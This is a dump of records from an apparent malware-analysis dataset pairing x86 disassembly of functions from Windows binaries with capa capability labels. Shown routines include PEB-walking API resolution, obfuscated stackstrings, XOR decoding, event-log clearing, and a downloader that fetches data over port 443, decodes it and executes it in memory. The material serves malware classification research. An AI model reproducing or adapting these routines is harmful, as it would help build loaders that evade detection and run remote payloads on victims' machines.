joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5134e0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push edi
mov edi, dword [ebp + 0x10]
test edi, edi
je 0x51365e
mov eax, dword [ebp + 8]
dec edi
push ebx
shr edi, 3
push esi
mov esi, dword [ebp + 0xc]
lea ebx, [eax + 0xc]
lea edx, [eax + 0x14]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], edx
inc edi
nop
movzx eax, byte [esi + 1]
lea esi, [esi + 8]
movzx ecx, byte [esi - 8]
shl eax, 8
or ecx, eax
movzx eax, byte [esi - 6]
shl eax, 0x10
or ecx, eax
movzx eax, byte [esi - 5]
shl eax, 0x18
or ecx, eax
movzx eax, byte [esi - 3]
shl eax, 8
mov dword [ebp + 0x10], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], ecx
movzx ecx, byte [esi - 4]
or ecx, eax
movzx eax, byte [esi - 2]
shl eax, 0x10
or ecx, eax
movzx eax, byte [esi - 1]
shl eax, 0x18
or ecx, eax
movzx eax, byte [ebx]
and al, 0xdf
mov dword [ebp - 4], ecx
or al, 0x40
mov dword [ebp - 0x10], ecx
mov byte [ebx], al
movzx eax, byte [edx]
and al, 0xbf
mov dword [ebp - 0x18], ecx
or al, 0x20
push ebx
mov byte [edx], al
call fcn.00475ab0
lea eax, [ebp - 0x9c]
push eax
push ebx
call fcn.00475870
push 1
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.004ad640
mov ebx, dword [ebp - 8]
push ebx
call fcn.00475ab0
lea eax, [ebp - 0x9c]
push eax
push ebx
call fcn.00475870
push 1
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.004ad640
mov ecx, dword [ebp - 4]
add esp, 0x30
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0x10]
xor edx, ecx
xor ecx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x14]
xor ebx, eax
mov dword [ebp - 4], ecx
xor eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
mov dword [ebp + 0x10], eax
mov byte [ecx], al
shr eax, 8
mov byte [ecx + 1], al
mov eax, dword [ebp + 0x10]
shr eax, 0x10
mov byte [ecx + 2], al
mov eax, dword [ebp + 0x10]
shr eax, 0x18
mov byte [ecx + 3], al
mov byte [ecx + 4], dl
mov eax, edx
shr eax, 8
mov byte [ecx + 5], al
mov eax, edx
shr eax, 0x10
mov byte [ecx + 6], al
mov eax, ebx
shr edx, 0x18
mov byte [ecx + 7], dl
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
shr eax, 8
mov byte [ecx], bl
mov byte [ecx + 1], al
mov eax, ebx
shr eax, 0x10
mov byte [ecx + 2], al
mov eax, edx
shr ebx, 0x18
mov byte [ecx + 3], bl
mov ebx, dword [ebp - 0xc]
mov byte [ecx + 4], dl
shr eax, 8
mov byte [ecx + 5], al
mov eax, edx
shr eax, 0x10
shr edx, 0x18
mov byte [ecx + 6], al
mov byte [ecx + 7], dl
mov edx, ecx
sub edi, 1
jne 0x513510
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x51d810
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x34], 0
je 0x51d960
mov edx, dword [ebp + 8]
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0xf
je 0x51d8a2
cmp dword [ebp - 0x10], 0x10
je 0x51d843
jmp 0x51d960
mov eax, dword [ebp - 8]
cmp dword [eax + 0x68], 0
je 0x51d855
mov dword [ebp - 0x14], 1
jmp 0x51d85c
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0
jne 0x51d871
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov ecx, dword [ebp - 8]
mov eax, dword [edx + 0x10]
call eax
jmp 0x51d89d
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x68]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
je 0x51d88a
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
mov dword [ebp - 0x1c], ecx
jmp 0x51d891
mov dword [ebp - 0x1c], 0
push 9
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x51d960
mov eax, dword [ebp - 8]
cmp dword [eax + 0x68], 0
je 0x51d8b4
mov dword [ebp - 0x20], 1
jmp 0x51d8bb
mov dword [ebp - 0x20], 0
cmp dword [ebp - 0x20], 0
je 0x51d960
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x40]
and edx, 2
jne 0x51d8d9
mov dword [ebp - 0x24], 1
jmp 0x51d8e0
mov dword [ebp - 0x24], 0
cmp dword [ebp - 0x24], 0
je 0x51d934
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 4]
mov dword [ebp - 0xc], ecx
jmp 0x51d8fa
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x40]
and edx, 2
jne 0x51d90e
mov dword [ebp - 0x28], 1
jmp 0x51d915
mov dword [ebp - 0x28], 0
cmp dword [ebp - 0x28], 0
je 0x51d91d
jmp 0x51d8f1
mov eax, dword [ebp - 0xc]
mov cl, byte [eax + 0x4c]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
cmp edx, 0xf0
jl 0x51d934
jmp 0x51d960
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x68]
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], 0
je 0x51d94d
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
mov dword [ebp - 0x30], eax
jmp 0x51d954
mov dword [ebp - 0x30], 0
push 0
mov ecx, dword [ebp - 0x30]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 8]
call fcn.00524f90
mov esp, ebp
pop ebp
ret 4
Function at 0x5208e0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call fcn.0051ab30
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x5208f9
jmp 0x5209e1
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x68]
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0
je 0x520912
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
jmp 0x520919
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x520932
jmp 0x5209e1
call dword [sym.imp.USER32.dll_EmptyClipboard]
push 0
push 0
mov eax, 4
shl eax, 0
mov ecx, dword [eax + 0x6055d4]
push ecx
mov edx, 4
shl edx, 0
mov eax, dword [edx + 0x6055cc]
push eax
call fcn.00535d30
add esp, 0x10
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
lea edx, [ecx + ecx + 2]
push edx
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x14]
add ecx, 1
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, 4
shl eax, 0
mov ecx, dword [eax + 0x6055d4]
push ecx
mov edx, 4
shl edx, 0
mov eax, dword [edx + 0x6055cc]
push eax
call fcn.00535d30
add esp, 0x10
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov edx, dword [ebp - 4]
push edx
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, 1
shl eax, 0
mov byte [eax + 0x6055e4], 1
mov esp, ebp
pop ebp
ret

Function at 0x521350
Capabilities:
Get geographical location
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x601694]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov dword [ebp - 0x10], eax
push 6
lea eax, [ebp - 0xc]
push eax
push 0x1004
mov ecx, dword [ebp - 0x10]
and ecx, 0xffff
movzx edx, cx
push edx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea eax, [ebp - 0xc]
push eax
call fcn.0056e5f0
add esp, 4
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov dword [0x607420], ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0055e98a
mov esp, ebp
pop ebp
ret
Function at 0x53a850
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax + 4], 0
je 0x53a871
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
mov ecx, dword [edx + 4]
call fcn.0053a850
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xc]
push ecx
push str._n__s__n_n
mov edx, dword [ebp + 8]
push edx
call fcn.004e48e0
add esp, 0xc
mov dword [ebp - 0x10], 0
jmp 0x53a89b
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
cmp edx, dword [ecx + 0x14]
jge 0x53a9e3
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x10]
mov edx, dword [ebp - 0x10]
mov eax, dword [ecx + edx*8 + 4]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x53a9c0
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x10]
mov eax, dword [ebp - 0x10]
mov ecx, dword [edx + eax*8]
push ecx
push 0x5e0e70
mov edx, dword [ebp + 8]
push edx
call fcn.004e48e0
add esp, 0xc
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
jmp 0x53a8fb
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x3c
jae 0x53a912
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx]
test edx, edx
jne 0x53a910
jmp 0x53a912
jmp 0x53a8f2
mov eax, dword [ebp + 8]
push eax
push 1
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.0056522f
add esp, 0x10
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
push 0x5e0e74
mov eax, dword [ebp + 8]
push eax
call fcn.004e48e0
add esp, 8
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
movsx eax, byte [edx]
test eax, eax
je 0x53a9be
mov dword [ebp - 4], 0
jmp 0x53a964
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x50
jae 0x53a97b
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 4]
movsx eax, byte [edx]
test eax, eax
jne 0x53a979
jmp 0x53a97b
jmp 0x53a95b
mov ecx, dword [ebp + 8]
push ecx
push 0x2b
call fcn.00564bc8
add esp, 8
mov edx, dword [ebp + 8]
push edx
push 1
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.0056522f
add esp, 0x10
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp + 8]
push edx
push 0xa
call fcn.00564bc8
add esp, 8
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
jmp 0x53a948
jmp 0x53a9de
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x10]
mov eax, dword [ebp - 0x10]
mov ecx, dword [edx + eax*8]
push ecx
push 0x5e0e78
mov edx, dword [ebp + 8]
push edx
call fcn.004e48e0
add esp, 0xc
jmp 0x53a892
mov eax, dword [ebp - 8]
cmp dword [eax], 0
je 0x53a9f9
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
mov ecx, dword [edx]
call fcn.0053a850
mov eax, dword [ebp - 8]
mov cl, byte [eax + 0x1c]
and cl, 0xfe
mov edx, dword [ebp - 8]
mov byte [edx + 0x1c], cl
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x541820
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call fcn.0056e720
add esp, 4
mov dword [ebp - 8], eax
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00535d30
add esp, 0x10
add eax, 1
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
shl eax, 1
push eax
mov ecx, dword [0x607428]
push ecx
call fcn.00566d00
add esp, 8
mov dword [0x607428], eax
mov edx, dword [ebp - 4]
push edx
mov eax, dword [0x607428]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00535d30
add esp, 0x10
mov dword [ebp - 4], eax
xor eax, eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x607428]
mov word [edx + ecx*2], ax
mov eax, dword [0x607428]
push eax
call fcn.00570715
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x572123
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword fs:[0x30]
push ebx
push esi
push edi
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xc], ecx
mov eax, dword [eax + 0x14]
mov edi, eax
mov dword [ebp - 0x14], eax
in al, dx

Function at 0x57219b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov esi, dword [edi + 0x10]
mov edi, dword [edi]
test esi, esi
je 0x572198
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
test ebx, ebx
je 0x572198
mov ecx, dword [ebx + esi + 0xc]
add ecx, esi
call fcn.005720fe
mov ecx, dword [ebx + esi + 0x20]
mov dword [ebp - 8], eax
add ecx, esi
xor eax, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], eax
cmp dword [ebx + esi + 0x18], eax
jbe 0x572198
mov ecx, dword [ecx + eax*4]
add ecx, esi
call fcn.005720fe
add eax, dword [ebp - 8]
cmp dword [ebp - 0xc], eax
je 0x5721a4
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
inc eax
mov dword [ebp - 4], eax
cmp eax, dword [ebx + esi + 0x18]
jb 0x572176
cmp edi, dword [ebp - 0x14]
jne 0x572140
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov ecx, dword [ebp - 4]
mov eax, dword [ebx + esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
jmp 0x57219f
Function at 0x572285
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x344
push ebx
push esi
push edi
mov ecx, 0xf8b7108d
call fcn.00572123
mov ecx, 0x61fb2970
mov esi, eax
call fcn.00572123
mov ecx, 0xc6984765
mov edi, eax
call fcn.00572123
mov ecx, 0x810b9665
mov dword [ebp - 0x30], eax
call fcn.00572123
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], 0x776c6873
mov dword [ebp - 0x10], 0x2e697061
mov dword [ebp - 0xc], 0x6c6c64
call esi
mov ecx, 0x8c2dae24
call fcn.00572123
mov ecx, 0x975c8c1
mov dword [ebp - 0x24], eax
call fcn.00572123
mov ecx, 0x7bad5da9
mov dword [ebp - 0x2c], eax
call fcn.00572123
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x6c656873
mov dword [ebp - 0x1c], 0x2e32336c
mov dword [ebp - 0x18], 0x6c6c64
call esi
mov ecx, 0x9eb42e3f
call fcn.00572123
mov dword [ebp - 0x34], eax
xor bl, bl
push 0x104
lea eax, [ebp - 0x13c]
mov dword [ebp - 8], 0x706d6554
push eax
push 0
mov byte [ebp - 4], bl
call edi
lea edx, [ebp - 8]
lea ecx, [ebp - 0x13c]
call fcn.005721c0
test eax, eax
je 0x5723ee
mov cl, byte [ebp - 0x13c]
lea eax, [ebp - 0x240]
test cl, cl
je 0x572383
lea edx, [ebp - 0x13c]
mov esi, eax
sub edx, esi
mov byte [eax], cl
inc eax
mov cl, byte [edx + eax]
test cl, cl
jne 0x572379
mov edi, dword [ebp - 0x24]
push 4
mov byte [eax], bl
pop esi
lea eax, [ebp - 0x240]
push eax
call edi
sub esi, 1
jne 0x57238b
lea eax, [ebp - 0x13c]
push eax
call dword [ebp - 0x28]
push eax
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x344]
push eax
call dword [ebp - 0x2c]
push esi
lea eax, [ebp - 0x344]
push eax
lea eax, [ebp - 0x13c]
push eax
call dword [ebp - 0x30]
test eax, eax
je 0x5723ee
push 1
lea eax, [ebp - 0x240]
xor ecx, ecx
push eax
push ecx
lea eax, [ebp - 0x344]
push eax
push ecx
push ecx
call dword [ebp - 0x34]
cmp eax, 0x20
jle 0x5723ee
push esi
mov bl, 1
call dword [ebp - 0x38]
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x572738
Capabilities:
Encode data using xor

Disassembly:
je 0x5726c9
mov dword [ebp - 0x1c], 0x6c707845
mov dword [ebp - 0x18], 0x7265726f
mov byte [ebp - 0x14], bl
call edi
mov edi, eax
lea edx, [ebp - 0x10]
push 0xc
mov ecx, edi
mov dword [ebp - 0xb4], edi
call fcn.00572240
push 0xd
lea ecx, [edi + 0xc]
lea edx, [ebp - 0x30]
call fcn.00572240
push 0xd
lea ecx, [edi + 0x18]
lea edx, [ebp - 0x20]
call fcn.00572240
add esp, 0x24
mov dword [ebp - 0x44], 0x74617453
mov dword [ebp - 0x40], 0x6f437375
mov edi, ebx
mov dword [ebp - 0x3c], 0x736564
mov dword [ebp - 0xa8], ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x94]
push eax
call dword [ebp - 0xac]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x1bb
push esi
push eax
mov dword [ebp - 0xac], eax
call dword [ebp - 0xb0]
push ebx
push 0x84800100
add byte [ebx + edx*2 + 0x4d8d5353], 0xa4
invalid
mov dword [ebp - 0xb0], eax
push ecx
lea ecx, [ebp - 0x38]
push ecx
push eax
call dword [ebp - 0xc0]
push ebx
push ebx
push ebx
push ebx
push eax
mov dword [ebp + 8], eax
call dword [ebp - 0xc4]
push 0x1000
call dword [ebp - 0xc8]
mov ebx, dword [ebp + 8]
mov esi, eax
pop ecx
lea eax, [ebp - 0xa8]
mov ecx, 0x1000
push eax
sub ecx, edi
lea eax, [esi + edi]
push ecx
push eax
push ebx
call dword [ebp - 0xcc]
add edi, dword [ebp - 0xa8]
cmp dword [ebp - 0xa8], 0
jbe 0x5727a2
cmp edi, 0x1000
jb 0x572771
lea eax, [ebp - 0x34]
push eax
push 2
push 0
push dword [ebp - 0xb4]
push connect
call dword [ebp - 0xb8]
mov ebx, dword [ebp - 0xd0]
test eax, eax
jne 0x5727e1
push edi
push esi
push 3
push 0
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x34]
call dword [ebp - 0xd4]
push dword [ebp - 0x34]
call dword [ebp - 0xbc]
push dword [ebp + 8]
call ebx
push dword [ebp - 0xb0]
call ebx
push dword [ebp - 0xac]
call ebx
lea eax, [ebp - 0x34]
xor ebx, ebx
push eax
push 1
push ebx
push dword [ebp - 0xb4]
push connect
call dword [ebp - 0xb8]
test eax, eax
jne 0x57288c
lea eax, [ebp + 8]
mov edi, 0x1000
push eax
push esi
push ebx
push ebx
lea eax, [ebp - 0x44]
mov dword [ebp + 8], edi
push eax
push dword [ebp - 0x34]
call dword [ebp - 0xd8]
test eax, eax
jne 0x572883
push 0x40
push edi
push dword [ebp + 8]
push ebx
call dword [ebp - 0xdc]
mov edi, eax
test edi, edi
je 0x572876
mov eax, dword [ebp + 8]
mov ecx, ebx
test eax, eax
je 0x572859
xor byte [ecx + esi], 0x6b
inc ecx
cmp ecx, eax
jb 0x572850
push eax
mov edx, esi
mov ecx, edi
call fcn.00572240
add esp, 4
push ebx
push edi
push 0xd
push 0xc
push 0xb
push 0xa
call dword [ebp - 0xe0]
push 0x8000
push ebx
push edi
call dword [ebp - 0xe4]
push dword [ebp - 0x34]
call dword [ebp - 0xbc]
push esi
call dword [ebp - 0xe8]
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x57790b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0057778a

Function at 0x57b053
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0057a9c1

Function at 0x57b05e
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0057abfc
Function at 0x588a27
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword fs:[0x30]
push ebx
push esi
push edi

Function at 0x588a36
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xc], ecx
mov eax, dword [eax + 0x14]
mov edi, eax
mov dword [ebp - 0x14], eax
mov esi, dword [edi + 0x10]
mov edi, dword [edi]
test esi, esi
je 0x588a9c
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
test ebx, ebx
je 0x588a9c
mov ecx, dword [ebx + esi + 0xc]
add ecx, esi
call fcn.00588a02
mov ecx, dword [ebx + esi + 0x20]
mov dword [ebp - 8], eax
add ecx, esi
xor eax, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], eax
cmp dword [ebx + esi + 0x18], eax
jbe 0x588a9c
mov ecx, dword [ecx + eax*4]
add ecx, esi
call fcn.00588a02
add eax, dword [ebp - 8]
cmp dword [ebp - 0xc], eax
je 0x588aa8
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
inc eax
mov dword [ebp - 4], eax
cmp eax, dword [ebx + esi + 0x18]
jb 0x588a7a
cmp edi, dword [ebp - 0x14]
jne 0x588a44
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov ecx, dword [ebp - 4]
mov eax, dword [ebx + esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
jmp 0x588aa3

Function at 0x103bae58
Capabilities:
Encode data using xor

Disassembly:
jmp 0x103bae62
pushal
call 0x103bae68
pop ebp
sub ebp, 0x10
sub ebp, 0x3bae58
mov al, byte [esp + 0x28]
cmp al, 1
je 0x103bae8c
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x103bae95
mov eax, 0x3bae58
add eax, ebp
add eax, 0x63
mov ecx, 0x5ff
mov edx, 0xabbaf39e
xor byte [eax], dl
inc eax
dec ecx
jne 0x103baeac
jmp 0x103baebf
adc eax, 0xa2171553
sahf
sahf
sahf
pop ds
pop ss
mov byte [0x1f9e9e9e], al
pop edi
sahf
sahf
sahf
popfd
push ebx
lcall 0x9eb6, 0x249e9e9e
sahf
sahf
imul edi, dword [ebp + ebx*4 + 0x56], 0x9e921f15
sahf
sahf
popfd
pop ebx
adc edi, edx
mov edx, 0xba9a1762
adc edi, edx
mov edx, 0xba9a1762
imul byte [esi - 0x1b]
nop
sahf
idiv al
lodsb al, byte [esi]
mov bl, 0x9e
lahf
mov dl, 0xba
not byte [eax + 0x76a95f61]
wait
sahf
sahf
sahf
ja 0x103baec2
sahf
sahf
sahf
retf
Function at 0x40270e
Capabilities:
Access the windows event log
Clear windows event logs
Get common file path
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
xor ebx, ebx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp ebx, 0x58ce99d
jg 0x40273e
inc ebx
cmp ebx, 0x1f6502b0
jl 0x402724
cmp dword [0x431264], 0x400
jne 0x4027c0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
lea eax, [ebp - 0x800]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push esi
push esi
call dword [sym.imp.USER32.dll_DdeCmpStringHandles]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push str.nojojatobajehivonafepuxefemi
push esi
call fcn.00402a88
push esi
push esi
call fcn.00402e34
fldz
add esp, 8
fstp qword [esp]
call fcn.00402cd0
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00402860
fstp st(0)
push esi
call fcn.00402ee1
push esi
call fcn.00402ef0
add esp, 0x10
xor ebx, ebx
cmp ebx, 0xd0fe
jge 0x4027d1
push esi
call dword [sym.imp.USER32.dll_GetCaretPos]
call edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp ebx, 0x58bc6e
jg 0x4027eb
inc ebx
cmp ebx, 0xe52f
jl 0x4027c2
mov eax, dword [0x42a304]
mov dword [0x431264], eax
call fcn.0040249e
mov edi, 0x3078f
cmp dword [0x431264], 0x51f
jne 0x402819
push esi
lea eax, [ebp - 0x800]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
dec edi
jne 0x4027ff
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10

Function at 0x4071ae
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x429d58]
jne 0x4071b8
repz ret
jmp fcn.00409aee
Function at 0x409718
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x429d58]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00405b0c
and dword [ebp - 0x14], 0
cmp dword [0x42be24], 0
mov dword [ebp - 0x18], eax
jne 0x4097cb
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x409873
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x409873
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42be24], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42be28], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42be2c], eax
call edi
push eax
call esi
mov dword [0x42be34], eax
test eax, eax
je 0x4097cb
push 0x427d18
push ebx
call edi
push eax
call esi
mov dword [0x42be30], eax
mov eax, dword [0x42be30]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x409824
cmp dword [0x42be34], ecx
je 0x409824
push eax
call esi
push dword [0x42be34]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x409824
test ebx, ebx
je 0x409824
call edi
test eax, eax
je 0x40981b
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40981b
test byte [ebp - 8], 1
jne 0x409824
or dword [ebp + 0x10], 0x200000
jmp 0x409857
mov eax, dword [0x42be28]
cmp eax, dword [ebp - 0x18]
je 0x409857
push eax
call esi
test eax, eax
je 0x409857
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x409857
mov eax, dword [0x42be2c]
cmp eax, dword [ebp - 0x18]
je 0x409857
push eax
call esi
test eax, eax
je 0x409857
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42be24]
call esi
test eax, eax
je 0x409873
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x409875
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004071ae
leave
ret